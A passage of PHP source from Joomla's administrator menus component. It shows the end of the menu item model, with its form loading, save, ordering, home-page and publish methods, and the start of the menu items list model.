->bind(':lft', $table->lft, ParameterType::INTEGER) ->bind(':rgt', $table->rgt, ParameterType::INTEGER); $db->setQuery($query); $children = array_merge($children, (array) $db->loadColumn()); } // Check the row. if (!$table->check()) { $this->setError($table->getError()); return false; } // Store the row. if (!$table->store()) { $this->setError($table->getError()); return false; } // Rebuild the tree path. if (!$table->rebuildPath()) { $this->setError($table->getError()); return false; } } // Process the child rows if (!empty($children)) { // Remove any duplicates and sanitize ids. $children = array_unique($children); $children = ArrayHelper::toInteger($children); // Update the menutype field in all nodes where necessary. $query = $db->getQuery(true) ->update($db->quoteName('#__menu')) ->set($db->quoteName('menutype') . ' = :menuType') ->whereIn($db->quoteName('id'), $children) ->bind(':menuType', $menuType); try { $db->setQuery($query); $db->execute(); } catch (\RuntimeException $e) { $this->setError($e->getMessage()); return false; } } // Clean the cache $this->cleanCache(); return true; } /** * Method to check if you can save a record. * * @param array $data An array of input data. * @param string $key The name of the key for the primary key. * * @return boolean * * @since 1.6 */ protected function canSave($data = [], $key = 'id') { return $this->getCurrentUser()->authorise('core.edit', $this->option); } /** * Method to get the row form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return mixed A Form object on success, false on failure * * @since 1.6 */ public function getForm($data = [], $loadData = true) { // The folder and element vars are passed when saving the form. if (empty($data)) { $item = $this->getItem(); // The type should already be set. $this->setState('item.link', $item->link); } else { $this->setState('item.link', ArrayHelper::getValue($data, 'link')); $this->setState('item.type', ArrayHelper::getValue($data, 'type')); } $clientId = $this->getState('item.client_id'); // Get the form. if ($clientId == 1) { $form = $this->loadForm('com_menus.item.admin', 'itemadmin', ['control' => 'jform', 'load_data' => $loadData], true); } else { $form = $this->loadForm('com_menus.item', 'item', ['control' => 'jform', 'load_data' => $loadData], true); } if (empty($form)) { return false; } if ($loadData) { $data = $this->loadFormData(); } // Modify the form based on access controls. if (!$this->canEditState((object) $data)) { // Disable fields for display. $form->setFieldAttribute('menuordering', 'disabled', 'true'); $form->setFieldAttribute('published', 'disabled', 'true'); // Disable fields while saving. // The controller has already verified this is an article you can edit. $form->setFieldAttribute('menuordering', 'filter', 'unset'); $form->setFieldAttribute('published', 'filter', 'unset'); } // Filter available menus $action = $this->getState('item.id') > 0 ? 'edit' : 'create'; $form->setFieldAttribute('menutype', 'accesstype', $action); $form->setFieldAttribute('type', 'clientid', $clientId); return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data, providing it has an ID and it is the same. $itemData = (array) $this->getItem(); // When a new item is requested, unset the access as it will be set later from the filter if (empty($itemData['id'])) { unset($itemData['access']); } $sessionData = (array) Factory::getApplication()->getUserState('com_menus.edit.item.data', []); // Only merge if there is a session and itemId or itemid is null. if ( isset($sessionData['id']) && isset($itemData['id']) && $sessionData['id'] === $itemData['id'] || is_null($itemData['id']) ) { $data = array_merge($itemData, $sessionData); } else { $data = $itemData; } // For a new menu item, pre-select some filters (Status, Language, Access) in edit form if those have been selected in Menu Manager if (empty($data['id'])) { // Get selected fields $filters = Factory::getApplication()->getUserState('com_menus.items.filter'); $data['parent_id'] = $data['parent_id'] ?? ($filters['parent_id'] ?? null); $data['published'] = $data['published'] ?? ($filters['published'] ?? null); $data['language'] = $data['language'] ?? ($filters['language'] ?? null); $data['access'] = $data['access'] ?? ($filters['access'] ?? Factory::getApplication()->get('access')); } if (isset($data['menutype']) && !$this->getState('item.menutypeid')) { $menuTypeId = (int) $this->getMenuTypeId($data['menutype']); $this->setState('item.menutypeid', $menuTypeId); } $data = (object) $data; $this->preprocessData('com_menus.item', $data); return $data; } /** * Get the necessary data to load an item help screen. * * @return object An object with key, url, and local properties for loading the item help screen. * * @since 1.6 */ public function getHelp() { return (object) ['key' => $this->helpKey, 'url' => $this->helpURL, 'local' => $this->helpLocal]; } /** * Method to get a menu item. * * @param integer $pk An optional id of the object to get, otherwise the id from the model state is used. * * @return mixed Menu item data object on success, false on failure. * * @since 1.6 */ public function getItem($pk = null) { $pk = (!empty($pk)) ? $pk : (int) $this->getState('item.id'); // Get a level row instance. $table = $this->getTable(); // Attempt to load the row. $table->load($pk); // Check for a table object error. if ($error = $table->getError()) { $this->setError($error); return false; } // Prime required properties. if ($type = $this->getState('item.type')) { $table->type = $type; } if (empty($table->id)) { $table->parent_id = $this->getState('item.parent_id'); $table->menutype = $this->getState('item.menutype'); $table->client_id = $this->getState('item.client_id'); $table->params = '{}'; } // If the link has been set in the state, possibly changing link type. if ($link = $this->getState('item.link')) { // Check if we are changing away from the actual link type. if (MenusHelper::getLinkKey($table->link) !== MenusHelper::getLinkKey($link) && (int) $table->id === (int) $this->getState('item.id')) { $table->link = $link; } } switch ($table->type) { case 'alias': case 'url': $table->component_id = 0; $args = []; if ($table->link) { $q = parse_url($table->link, PHP_URL_QUERY); if ($q) { parse_str($q, $args); } } break; case 'separator': case 'heading': case 'container': $table->link = ''; $table->component_id = 0; break; case 'component': default: // Enforce a valid type. $table->type = 'component'; // Ensure the integrity of the component_id field is maintained, particularly when changing the menu item type. $args = []; if ($table->link) { $q = parse_url($table->link, PHP_URL_QUERY); if ($q) { parse_str($q, $args); } } if (isset($args['option'])) { // Load the language file for the component. $lang = Factory::getLanguage(); $lang->load($args['option'], JPATH_ADMINISTRATOR) || $lang->load($args['option'], JPATH_ADMINISTRATOR . '/components/' . $args['option']); // Determine the component id. $component = ComponentHelper::getComponent($args['option']); if (isset($component->id)) { $table->component_id = $component->id; } } break; } // We have a valid type, inject it into the state for forms to use. $this->setState('item.type', $table->type); // Convert to the \Joomla\CMS\Object\CMSObject before adding the params. $properties = $table->getProperties(1); $result = ArrayHelper::toObject($properties); // Convert the params field to an array. $registry = new Registry($table->params); $result->params = $registry->toArray(); // Merge the request arguments in to the params for a component. if ($table->type == 'component') { // Note that all request arguments become reserved parameter names. $result->request = $args; $result->params = array_merge($result->params, $args); // Special case for the Login menu item. // Display the login or logout redirect URL fields if not empty if ($table->link == 'index.php?option=com_users&view=login') { if (!empty($result->params['login_redirect_url'])) { $result->params['loginredirectchoice'] = '0'; } if (!empty($result->params['logout_redirect_url'])) { $result->params['logoutredirectchoice'] = '0'; } } } if ($table->type == 'alias') { // Note that all request arguments become reserved parameter names. $result->params = array_merge($result->params, $args); } if ($table->type == 'url') { // Note that all request arguments become reserved parameter names. $result->params = array_merge($result->params, $args); } // Load associated menu items, only supported for frontend for now if ($this->getState('item.client_id') == 0 && Associations::isEnabled()) { if ($pk != null) { $result->associations = MenusHelper::getAssociations($pk); } else { $result->associations = []; } } $result->menuordering = $pk; return $result; } /** * Get the list of modules not in trash. * * @return mixed An array of module records (id, title, position), or false on error. * * @since 1.6 */ public function getModules() { $clientId = (int) $this->getState('item.client_id'); $id = (int) $this->getState('item.id'); // Currently any setting that affects target page for a backend menu is not supported, hence load no modules. if ($clientId == 1) { return false; } $db = $this->getDatabase(); $query = $db->getQuery(true); /** * Join on the module-to-menu mapping table. * We are only interested if the module is displayed on ALL or THIS menu item (or the inverse ID number). * sqlsrv changes for modulelink to menu manager */ $query->select( [ $db->quoteName('a.id'), $db->quoteName('a.title'), $db->quoteName('a.position'), $db->quoteName('a.published'), $db->quoteName('map.menuid'), ] ) ->from($db->quoteName('#__modules', 'a')) ->join( 'LEFT', $db->quoteName('#__modules_menu', 'map'), $db->quoteName('map.moduleid') . ' = ' . $db->quoteName('a.id') . ' AND ' . $db->quoteName('map.menuid') . ' IN (' . implode(',', $query->bindArray([0, $id, -$id])) . ')' ); $subQuery = $db->getQuery(true) ->select('COUNT(*)') ->from($db->quoteName('#__modules_menu')) ->where( [ $db->quoteName('moduleid') . ' = ' . $db->quoteName('a.id'), $db->quoteName('menuid') . ' < 0', ] ); $query->select('(' . $subQuery . ') AS ' . $db->quoteName('except')); // Join on the asset groups table. $query->select($db->quoteName('ag.title', 'access_title')) ->join('LEFT', $db->quoteName('#__viewlevels', 'ag'), $db->quoteName('ag.id') . ' = ' . $db->quoteName('a.access')) ->where( [ $db->quoteName('a.published') . ' >= 0', $db->quoteName('a.client_id') . ' = :clientId', ] ) ->bind(':clientId', $clientId, ParameterType::INTEGER) ->order( [ $db->quoteName('a.position'), $db->quoteName('a.ordering'), ] ); $db->setQuery($query); try { $result = $db->loadObjectList(); } catch (\RuntimeException $e) { $this->setError($e->getMessage()); return false; } return $result; } /** * Get the list of all view levels * * @return \stdClass[]|boolean An array of all view levels (id, title). * * @since 3.4 */ public function getViewLevels() { $db = $this->getDatabase(); $query = $db->getQuery(true); // Get all the available view levels $query->select($db->quoteName('id')) ->select($db->quoteName('title')) ->from($db->quoteName('#__viewlevels')) ->order($db->quoteName('id')); $db->setQuery($query); try { $result = $db->loadObjectList(); } catch (\RuntimeException $e) { $this->setError($e->getMessage()); return false; } return $result; } /** * Returns a Table object, always creating it * * @param string $type The table type to instantiate. * @param string $prefix A prefix for the table class name. Optional. * @param array $config Configuration array for model. Optional. * * @return \Joomla\Cms\Table\Table|\Joomla\Cms\Table\Nested A database object. * * @since 1.6 */ public function getTable($type = 'Menu', $prefix = 'Administrator', $config = []) { return parent::getTable($type, $prefix, $config); } /** * A protected method to get the where clause for the reorder. * This ensures that the row will be moved relative to a row with the same menutype. * * @param \Joomla\CMS\Table\Menu $table * * @return array An array of conditions to add to add to ordering queries. * * @since 1.6 */ protected function getReorderConditions($table) { $db = $this->getDatabase(); return [ $db->quoteName('menutype') . ' = ' . $db->quote($table->menutype), ]; } /** * Auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @return void * * @since 1.6 */ protected function populateState() { $app = Factory::getApplication(); // Load the User state. $pk = $app->getInput()->getInt('id'); $this->setState('item.id', $pk); if (!$app->isClient('api')) { $parentId = $app->getUserState('com_menus.edit.item.parent_id'); $menuType = $app->getUserStateFromRequest('com_menus.items.menutype', 'menutype', '', 'string'); } else { $parentId = null; $menuType = $app->getInput()->get('com_menus.items.menutype'); } if (!$parentId) { $parentId = $app->getInput()->getInt('parent_id'); } $this->setState('item.parent_id', $parentId); // If we have a menutype we take client_id from there, unless forced otherwise if ($menuType) { $menuTypeObj = $this->getMenuType($menuType); // An invalid menutype will be handled as clientId = 0 and menuType = '' $menuType = (string) $menuTypeObj->menutype; $menuTypeId = (int) $menuTypeObj->client_id; $clientId = (int) $menuTypeObj->client_id; } else { $menuTypeId = 0; $clientId = $app->isClient('api') ? $app->getInput()->get('client_id') : $app->getUserState('com_menus.items.client_id', 0); } // Forced client id will override/clear menuType if conflicted $forcedClientId = $app->getInput()->get('client_id', null, 'string'); if (!$app->isClient('api')) { // Set the menu type and client id on the list view state, so we return to this menu after saving. $app->setUserState('com_menus.items.menutype', $menuType); $app->setUserState('com_menus.items.client_id', $clientId); } // Current item if not new, we don't allow changing client id at all if ($pk) { $table = $this->getTable(); $table->load($pk); $forcedClientId = $table->get('client_id', $forcedClientId); } if (isset($forcedClientId) && $forcedClientId != $clientId) { $clientId = $forcedClientId; $menuType = ''; $menuTypeId = 0; } $this->setState('item.menutype', $menuType); $this->setState('item.client_id', $clientId); $this->setState('item.menutypeid', $menuTypeId); if (!($type = $app->getUserState('com_menus.edit.item.type'))) { $type = $app->getInput()->get('type'); /** * Note: a new menu item will have no field type. * The field is required so the user has to change it. */ } $this->setState('item.type', $type); $link = $app->isClient('api') ? $app->getInput()->get('link', null, 'string') : $app->getUserState('com_menus.edit.item.link'); if ($link) { $this->setState('item.link', $link); } // Load the parameters. $params = ComponentHelper::getParams('com_menus'); $this->setState('params', $params); } /** * Loads the menutype object by a given menutype string * * @param string $menutype The given menutype * * @return \stdClass * * @since 3.7.0 */ protected function getMenuType($menutype) { $table = $this->getTable('MenuType'); $table->load(['menutype' => $menutype]); return (object) $table->getProperties(); } /** * Loads the menutype ID by a given menutype string * * @param string $menutype The given menutype * * @return integer * * @since 3.6 */ protected function getMenuTypeId($menutype) { $menu = $this->getMenuType($menutype); return (int) $menu->id; } /** * Method to preprocess the form. * * @param Form $form A Form object. * @param mixed $data The data expected for the form. * @param string $group The name of the plugin group to import. * * @return void * * @since 1.6 * @throws \Exception if there is an error in the form event. */ protected function preprocessForm(Form $form, $data, $group = 'content') { $link = $this->getState('item.link'); $type = $this->getState('item.type'); $clientId = $this->getState('item.client_id'); $formFile = false; // Load the specific type file $typeFile = $clientId == 1 ? 'itemadmin_' . $type : 'item_' . $type; $clientInfo = ApplicationHelper::getClientInfo($clientId); // Initialise form with component view params if available. if ($type == 'component') { $link = $link ? htmlspecialchars_decode($link) : ''; // Parse the link arguments. $args = []; if ($link) { parse_str(parse_url(htmlspecialchars_decode($link), PHP_URL_QUERY), $args); } // Confirm that the option is defined. $option = ''; $base = ''; if (isset($args['option'])) { // The option determines the base path to work with. $option = $args['option']; $base = $clientInfo->path . '/components/' . $option; } if (isset($args['view'])) { $view = $args['view']; // Determine the layout to search for. if (isset($args['layout'])) { $layout = $args['layout']; } else { $layout = 'default'; } // Check for the layout XML file. Use standard xml file if it exists. $tplFolders = [ $base . '/tmpl/' . $view, $base . '/views/' . $view . '/tmpl', $base . '/view/' . $view . '/tmpl', ]; $path = Path::find($tplFolders, $layout . '.xml'); if (is_file($path)) { $formFile = $path; } // If custom layout, get the xml file from the template folder // template folder is first part of file name -- template:folder if (!$formFile && (strpos($layout, ':') > 0)) { list($altTmpl, $altLayout) = explode(':', $layout); $templatePath = Path::clean($clientInfo->path . '/templates/' . $altTmpl . '/html/' . $option . '/' . $view . '/' . $altLayout . '.xml'); if (is_file($templatePath)) { $formFile = $templatePath; } } } // Now check for a view manifest file if (!$formFile) { if (isset($view)) { $metadataFolders = [ $base . '/view/' . $view, $base . '/views/' . $view, ]; $metaPath = Path::find($metadataFolders, 'metadata.xml'); if (is_file($path = Path::clean($metaPath))) { $formFile = $path; } } elseif ($base) { // Now check for a component manifest file $path = Path::clean($base . '/metadata.xml'); if (is_file($path)) { $formFile = $path; } } } } if ($formFile) { // If an XML file was found in the component, load it first. // We need to qualify the full path to avoid collisions with component file names. if ($form->loadFile($formFile, true, '/metadata') == false) { throw new \Exception(Text::_('JERROR_LOADFILE_FAILED')); } // Attempt to load the xml file. if (!$xml = simplexml_load_file($formFile)) { throw new \Exception(Text::_('JERROR_LOADFILE_FAILED')); } // Get the help data from the XML file if present. $help = $xml->xpath('/metadata/layout/help'); } else { // We don't have a component. Load the form XML to get the help path $xmlFile = Path::find(JPATH_ADMINISTRATOR . '/components/com_menus/forms', $typeFile . '.xml'); if ($xmlFile) { if (!$xml = simplexml_load_file($xmlFile)) { throw new \Exception(Text::_('JERROR_LOADFILE_FAILED')); } // Get the help data from the XML file if present. $help = $xml->xpath('/form/help'); } } if (!empty($help)) { $helpKey = trim((string) $help[0]['key']); $helpURL = trim((string) $help[0]['url']); $helpLoc = trim((string) $help[0]['local']); $this->helpKey = $helpKey ?: $this->helpKey; $this->helpURL = $helpURL ?: $this->helpURL; $this->helpLocal = (($helpLoc == 'true') || ($helpLoc == '1') || ($helpLoc == 'local')); } if (!$form->loadFile($typeFile, true, false)) { throw new \Exception(Text::_('JERROR_LOADFILE_FAILED')); } // Association menu items, we currently do not support this for admin menu… may be later if ($clientId == 0 && Associations::isEnabled()) { $languages = LanguageHelper::getContentLanguages(false, false, null, 'ordering', 'asc'); if (count($languages) > 1) { $addform = new \SimpleXMLElement('<form />'); $fields = $addform->addChild('fields'); $fields->addAttribute('name', 'associations'); $fieldset = $fields->addChild('fieldset'); $fieldset->addAttribute('name', 'item_associations'); $fieldset->addAttribute('addfieldprefix', 'Joomla\Component\Menus\Administrator\Field'); foreach ($languages as $language) { $field = $fieldset->addChild('field'); $field->addAttribute('name', $language->lang_code); $field->addAttribute('type', 'modal_menu'); $field->addAttribute('language', $language->lang_code); $field->addAttribute('label', $language->title); $field->addAttribute('translate_label', 'false'); $field->addAttribute('select', 'true'); $field->addAttribute('new', 'true'); $field->addAttribute('edit', 'true'); $field->addAttribute('clear', 'true'); $field->addAttribute('propagate', 'true'); $option = $field->addChild('option', 'COM_MENUS_ITEM_FIELD_ASSOCIATION_NO_VALUE'); $option->addAttribute('value', ''); } $form->load($addform, false); } } // Trigger the default form events. parent::preprocessForm($form, $data, $group); } /** * Method rebuild the entire nested set tree. * * @return boolean Boolean true on success, boolean false * * @since 1.6 */ public function rebuild() { // Initialise variables. $db = $this->getDatabase(); $query = $db->getQuery(true); $table = $this->getTable(); try { $rebuildResult = $table->rebuild(); } catch (\Exception $e) { $this->setError($e->getMessage()); return false; } if (!$rebuildResult) { $this->setError($table->getError()); return false; } $query->select( [ $db->quoteName('id'), $db->quoteName('params'), ] ) ->from($db->quoteName('#__menu')) ->where( [ $db->quoteName('params') . ' NOT LIKE ' . $db->quote('{%'), $db->quoteName('params') . ' <> ' . $db->quote(''), ] ); $db->setQuery($query); try { $items = $db->loadObjectList(); } catch (\RuntimeException $e) { Factory::getApplication()->enqueueMessage($e->getMessage(), 'error'); return false; } $query = $db->getQuery(true) ->update($db->quoteName('#__menu')) ->set($db->quoteName('params') . ' = :params') ->where($db->quoteName('id') . ' = :id') ->bind(':params', $params) ->bind(':id', $id, ParameterType::INTEGER); $db->setQuery($query); foreach ($items as &$item) { // Update query parameters. $id = $item->id; $params = new Registry($item->params); try { $db->execute(); } catch (\RuntimeException $e) { Factory::getApplication()->enqueueMessage($e->getMessage(), 'error'); return false; } } // Clean the cache $this->cleanCache(); return true; } /** * Method to save the form data. * * @param array $data The form data. * * @return boolean True on success. * * @since 1.6 */ public function save($data) { $pk = isset($data['id']) ? $data['id'] : (int) $this->getState('item.id'); $isNew = true; $db = $this->getDatabase(); $query = $db->getQuery(true); $table = $this->getTable(); $context = $this->option . '.' . $this->name; // Include the plugins for the on save events. PluginHelper::importPlugin($this->events_map['save']); // Load the row if saving an existing item. if ($pk > 0) { $table->load($pk); $isNew = false; } if (!$isNew) { if ($table->parent_id == $data['parent_id']) { // If first is chosen make the item the first child of the selected parent. if ($data['menuordering'] == -1) { $table->setLocation($data['parent_id'], 'first-child'); } elseif ($data['menuordering'] == -2) { // If last is chosen make it the last child of the selected parent. $table->setLocation($data['parent_id'], 'last-child'); } elseif ($data['menuordering'] && $table->id != $data['menuordering'] || empty($data['id'])) { // Don't try to put an item after itself. All other ones put after the selected item. // $data['id'] is empty means it's a save as copy $table->setLocation($data['menuordering'], 'after'); } elseif ($data['menuordering'] && $table->id == $data['menuordering']) { // \Just leave it where it is if no change is made. unset($data['menuordering']); } } else { // Set the new parent id if parent id not matched and put in last position $table->setLocation($data['parent_id'], 'last-child'); } // Check if we are moving to a different menu if ($data['menutype'] != $table->menutype) { // Add the child node ids to the children array. $query->clear() ->select($db->quoteName('id')) ->from($db->quoteName('#__menu')) ->where($db->quoteName('lft') . ' BETWEEN ' . (int) $table->lft . ' AND ' . (int) $table->rgt); $db->setQuery($query); $children = (array) $db->loadColumn(); } } else { // We have a new item, so it is not a change. $menuType = $this->getMenuType($data['menutype']); $data['client_id'] = $menuType->client_id; $table->setLocation($data['parent_id'], 'last-child'); } // Bind the data. if (!$table->bind($data)) { $this->setError($table->getError()); return false; } // Alter the title & alias for save2copy when required. Also, unset the home record. if (Factory::getApplication()->getInput()->get('task') === 'save2copy' && $data['id'] === 0) { $origTable = $this->getTable(); $origTable->load($this->getState('item.id')); if ($table->title === $origTable->title) { list($title, $alias) = $this->generateNewTitle($table->parent_id, $table->alias, $table->title); $table->title = $title; $table->alias = $alias; } if ($table->alias === $origTable->alias) { $table->alias = ''; } $table->published = 0; $table->home = 0; } // Check the data. if (!$table->check()) { $this->setError($table->getError()); return false; } // Trigger the before save event. $result = Factory::getApplication()->triggerEvent($this->event_before_save, [$context, &$table, $isNew, $data]); // Store the data. if (in_array(false, $result, true) || !$table->store()) { $this->setError($table->getError()); return false; } // Trigger the after save event. Factory::getApplication()->triggerEvent($this->event_after_save, [$context, &$table, $isNew]); // Rebuild the tree path. if (!$table->rebuildPath($table->id)) { $this->setError($table->getError()); return false; } // Rebuild the paths of the menu item's children: if (!$table->rebuild($table->id, $table->lft, $table->level, $table->path)) { $this->setError($table->getError()); return false; } // Process the child rows if (!empty($children)) { // Remove any duplicates and sanitize ids. $children = array_unique($children); $children = ArrayHelper::toInteger($children); // Update the menutype field in all nodes where necessary. $query = $db->getQuery(true) ->update($db->quoteName('#__menu')) ->set($db->quoteName('menutype') . ' = :menutype') ->whereIn($db->quoteName('id'), $children) ->bind(':menutype', $data['menutype']); try { $db->setQuery($query); $db->execute(); } catch (\RuntimeException $e) { $this->setError($e->getMessage()); return false; } } $this->setState('item.id', $table->id); $this->setState('item.menutype', $table->menutype); // Load associated menu items, for now not supported for admin menu… may be later if ($table->get('client_id') == 0 && Associations::isEnabled()) { // Adding self to the association $associations = isset($data['associations']) ? $data['associations'] : []; // Unset any invalid associations $associations = ArrayHelper::toInteger($associations); foreach ($associations as $tag => $id) { if (!$id) { unset($associations[$tag]); } } // Detecting all item menus $all_language = $table->language == '*'; if ($all_language && !empty($associations)) { Factory::getApplication()->enqueueMessage(Text::_('COM_MENUS_ERROR_ALL_LANGUAGE_ASSOCIATED'), 'notice'); } // Get associationskey for edited item $db = $this->getDatabase(); $query = $db->getQuery(true) ->select($db->quoteName('key')) ->from($db->quoteName('#__associations')) ->where( [ $db->quoteName('context') . ' = :context', $db->quoteName('id') . ' = :id', ] ) ->bind(':context', $this->associationsContext) ->bind(':id', $table->id, ParameterType::INTEGER); $db->setQuery($query); $oldKey = $db->loadResult(); if ($associations || $oldKey !== null) { // Deleting old associations for the associated items $where = []; $query = $db->getQuery(true) ->delete($db->quoteName('#__associations')) ->where($db->quoteName('context') . ' = :context') ->bind(':context', $this->associationsContext); if ($associations) { $where[] = $db->quoteName('id') . ' IN (' . implode(',', $query->bindArray(array_values($associations))) . ')'; } if ($oldKey !== null) { $where[] = $db->quoteName('key') . ' = :oldKey'; $query->bind(':oldKey', $oldKey); } $query->extendWhere('AND', $where, 'OR'); try { $db->setQuery($query); $db->execute(); } catch (\RuntimeException $e) { $this->setError($e->getMessage()); return false; } } // Adding self to the association if (!$all_language) { $associations[$table->language] = (int) $table->id; } if (count($associations) > 1) { // Adding new association for these items $key = md5(json_encode($associations)); $query = $db->getQuery(true) ->insert($db->quoteName('#__associations')) ->columns( [ $db->quoteName('id'), $db->quoteName('context'), $db->quoteName('key'), ] ); foreach ($associations as $id) { $query->values( implode( ',', $query->bindArray( [$id, $this->associationsContext, $key], [ParameterType::INTEGER, ParameterType::STRING, ParameterType::STRING] ) ) ); } try { $db->setQuery($query); $db->execute(); } catch (\RuntimeException $e) { $this->setError($e->getMessage()); return false; } } } // Clean the cache $this->cleanCache(); if (isset($data['link'])) { $base = Uri::base(); $juri = Uri::getInstance($base . $data['link']); $option = $juri->getVar('option'); // Clean the cache parent::cleanCache($option); } if (Factory::getApplication()->getInput()->get('task') === 'editAssociations') { return $this->redirectToAssociations($data); } return true; } /** * Method to save the reordered nested set tree. * First we save the new order values in the lft values of the changed ids. * Then we invoke the table rebuild to implement the new ordering. * * @param array $idArray Rows identifiers to be reordered * @param array $lftArray lft values of rows to be reordered * * @return boolean false on failure or error, true otherwise. * * @since 1.6 */ public function saveorder($idArray = null, $lftArray = null) { // Get an instance of the table object. $table = $this->getTable(); if (!$table->saveorder($idArray, $lftArray)) { $this->setError($table->getError()); return false; } // Clean the cache $this->cleanCache(); return true; } /** * Method to change the home state of one or more items. * * @param array $pks A list of the primary keys to change. * @param integer $value The value of the home state. * * @return boolean True on success. * * @since 1.6 */ public function setHome(&$pks, $value = 1) { $table = $this->getTable(); $pks = (array) $pks; $languages = []; $onehome = false; // Remember that we can set a home page for different languages, // so we need to loop through the primary key array. foreach ($pks as $i => $pk) { if ($table->load($pk)) { if (!array_key_exists($table->language, $languages)) { $languages[$table->language] = true; if ($table->home == $value) { unset($pks[$i]); Factory::getApplication()->enqueueMessage(Text::_('COM_MENUS_ERROR_ALREADY_HOME'), 'notice'); } elseif ($table->menutype == 'main') { // Prune items that you can't change. unset($pks[$i]); Factory::getApplication()->enqueueMessage(Text::_('COM_MENUS_ERROR_MENUTYPE_HOME'), 'error'); } else { $table->home = $value; if ($table->language == '*') { $table->published = 1; } if (!$this->canSave($table)) { // Prune items that you can't change. unset($pks[$i]); Factory::getApplication()->enqueueMessage(Text::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error'); } elseif (!$table->check()) { // Prune the items that failed pre-save checks. unset($pks[$i]); Factory::getApplication()->enqueueMessage($table->getError(), 'error'); } elseif (!$table->store()) { // Prune the items that could not be stored. unset($pks[$i]); Factory::getApplication()->enqueueMessage($table->getError(), 'error'); } } } else { unset($pks[$i]); if (!$onehome) { $onehome = true; Factory::getApplication()->enqueueMessage(Text::sprintf('COM_MENUS_ERROR_ONE_HOME'), 'notice'); } } } } // Clean the cache $this->cleanCache(); return true; } /** * Method to change the published state of one or more records. * * @param array $pks A list of the primary keys to change. * @param integer $value The value of the published state. * * @return boolean True on success. * * @since 1.6 */ public function publish(&$pks, $value = 1) { $table = $this->getTable(); $pks = (array) $pks; // Default menu item existence checks. if ($value != 1) { foreach ($pks as $i => $pk) { if ($table->load($pk) && $table->home && $table->language == '*') { // Prune items that you can't change. Factory::getApplication()->enqueueMessage(Text::_('JLIB_DATABASE_ERROR_MENU_UNPUBLISH_DEFAULT_HOME'), 'error'); unset($pks[$i]); break; } } } // Clean the cache $this->cleanCache(); // Ensure that previous checks doesn't empty the array if (empty($pks)) { return true; } return parent::publish($pks, $value); } /** * Method to change the title & alias. * * @param integer $parentId The id of the parent. * @param string $alias The alias. * @param string $title The title. * * @return array Contains the modified title and alias. * * @since 1.6 */ protected function generateNewTitle($parentId, $alias, $title) { // Alter the title & alias $table = $this->getTable(); while ($table->load(['alias' => $alias, 'parent_id' => $parentId])) { if ($title == $table->title) { $title = StringHelper::increment($title); } $alias = StringHelper::increment($alias, 'dash'); } return [$title, $alias]; } /** * Custom clean the cache * * @param string $group Cache group name. * @param integer $clientId No longer used, will be removed without replacement * @deprecated 4.3 will be removed in 6.0 * * @return void * * @since 1.6 */ protected function cleanCache($group = null, $clientId = 0) { parent::cleanCache('com_menus'); parent::cleanCache('com_modules'); parent::cleanCache('mod_menu'); } } ItemsModel.php 0000644 00000055122 15172774270 0007340 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_menus * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Menus\Administrator\Model; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\Form\Form; use Joomla\CMS\Language\Associations; use Joomla\CMS\Language\Text; use Joomla\CMS\Log\Log; use Joomla\CMS\MVC\Factory\MVCFactoryInterface; use Joomla\CMS\MVC\Model\ListModel; use Joomla\Database\ParameterType; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Menu Item List Model for Menus. * * @since 1.6 */ class ItemsModel extends ListModel { /** * Constructor. * * @param array $config An optional associative array of configuration settings. * @param MVCFactoryInterface $factory The factory. * * @see \Joomla\CMS\MVC\Model\BaseDatabaseModel * @since 3.2 */ public function __construct($config = [], MVCFactoryInterface $factory = null) { if (empty($config['filter_fields'])) { $config['filter_fields'] = [ 'id', 'a.id', 'menutype', 'a.menutype', 'menutype_title', 'title', 'a.title', 'alias', 'a.alias', 'published', 'a.published', 'access', 'a.access', 'access_level', 'language', 'a.language', 'checked_out', 'a.checked_out', 'checked_out_time', 'a.checked_out_time', 'lft', 'a.lft', 'rgt', 'a.rgt', 'level', 'a.level', 'path', 'a.path', 'client_id', 'a.client_id', 'home', 'a.home', 'parent_id', 'a.parent_id', 'publish_up', 'a.publish_up', 'publish_down', 'a.publish_down', 'e.element', 'componentName', 'a.ordering', ]; if (Associations::isEnabled()) { $config['filter_fields'][] = 'association'; } } parent::__construct($config, $factory); } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @param string $ordering An optional ordering field. * @param string $direction An optional direction (asc|desc). * * @return void * * @since 1.6 */ protected function populateState($ordering = 'a.lft', $direction = 'asc') { $app = Factory::getApplication(); $forcedLanguage = $app->getInput()->get('forcedLanguage', '', 'cmd'); // Adjust the context to support modal layouts. if ($layout = $app->getInput()->get('layout')) { $this->context .= '.' . $layout; } // Adjust the context to support forced languages. if ($forcedLanguage) { $this->context .= '.' . $forcedLanguage; } $search = $this->getUserStateFromRequest($this->context . '.search', 'filter_search'); $this->setState('filter.search', $search); $published = $this->getUserStateFromRequest($this->context . '.published', 'filter_published', ''); $this->setState('filter.published', $published); $access = $this->getUserStateFromRequest($this->context . '.filter.access', 'filter_access'); $this->setState('filter.access', $access); $parentId = $this->getUserStateFromRequest($this->context . '.filter.parent_id', 'filter_parent_id'); $this->setState('filter.parent_id', $parentId); $level = $this->getUserStateFromRequest($this->context . '.filter.level', 'filter_level'); $this->setState('filter.level', $level); // Watch changes in client_id and menutype and keep sync whenever needed. $currentClientId = $app->getUserState($this->context . '.client_id', 0); $clientId = $app->getInput()->getInt('client_id', $currentClientId); // Load mod_menu.ini file when client is administrator if ($clientId == 1) { Factory::getLanguage()->load('mod_menu', JPATH_ADMINISTRATOR); } $currentMenuType = $app->getUserState($this->context . '.menutype', ''); $menuType = $app->getInput()->getString('menutype', $currentMenuType); // If client_id changed clear menutype and reset pagination if ($clientId != $currentClientId) { $menuType = ''; $app->getInput()->set('limitstart', 0); $app->getInput()->set('menutype', ''); } // If menutype changed reset pagination. if ($menuType != $currentMenuType) { $app->getInput()->set('limitstart', 0); } if (!$menuType) { $app->setUserState($this->context . '.menutype', ''); $this->setState('menutypetitle', ''); 